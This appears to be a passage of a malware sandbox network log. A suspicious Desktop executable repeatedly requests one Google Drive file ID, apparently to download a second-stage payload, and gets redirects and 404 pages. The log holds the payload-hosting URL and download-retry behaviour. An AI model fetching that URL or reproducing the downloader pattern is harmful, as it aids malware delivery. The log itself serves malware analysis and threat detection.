2025-01-10 14:36:30 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:36:30 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-RJVXOAvbVr4X4TpUcaIRyA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.11.20	49793	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:36:30 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:36:30 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5fZLTZMvvAK6xJxCXVMWo0ALSuyc8p4cXLMX1B9WfDre_7bi_eVaENdNN0gvaULsE5 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:36:30 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce--MbIMg8M0Mr0djtKj4o1Nw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:36:30 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4c 47 6c 56 70 64 69 65 6e 32 68 4c 78 4f 32 76 32 77 38 36 75 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="LGlVpdien2hLxO2v2w86uQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.11.20	49794	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:36:41 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:36:41 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:36:41 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-j7SfN3v38IA6e10nhmPypg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.11.20	49795	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:36:41 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:36:42 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5SHfOai1a0h7QW1V-BQfkOms-9u5QPqmXUzlupK8-GYJHLCAp0Fcaw8L5dmHc999FG Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:36:41 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-tpo13ul6SnSk2J4xPFQsHg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:36:42 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4d 36 6d 61 5f 37 70 44 64 35 32 5a 61 64 49 4e 62 54 55 56 51 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="M6ma_7pDd52ZadINbTUVQw">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.11.20	49796	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:36:52 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:36:52 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:36:52 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-jsuVxbN-1PPKQ9QnzyoD-w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.11.20	49797	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:36:52 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:36:53 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4rpgtBfhYJB1A2KOau2u4CO-QRuHFjT_6hYVOEdy7y6IWSG3VOcTAoCXXnwOQqIbjd Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:36:53 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-bu_VVRdt6hU3qlDZVPM7fA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:36:53 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4c 7a 35 4e 64 5a 32 61 37 68 6e 64 6e 5a 32 69 30 75 2d 77 54 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Lz5NdZ2a7hndnZ2i0u-wTA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.11.20	49798	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:37:03 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:37:03 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:37:03 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-pygP1nTF1O9AEJIRsT2F2A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.11.20	49799	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:37:04 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:37:04 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7Wtk9gHFrryruSlyIDc4g21IdKj_2V246s1RBlhnI9JYQz1PfjSiIMqY8kmnX-JhxE Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:37:04 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-z0XLASyq9bl-uqtYbMOkmg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:37:04 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 44 37 59 55 67 30 52 43 4e 34 30 38 30 65 70 64 2d 46 64 65 63 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="D7YUg0RCN4080epd-Fdecw">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.11.20	49800	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:37:14 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
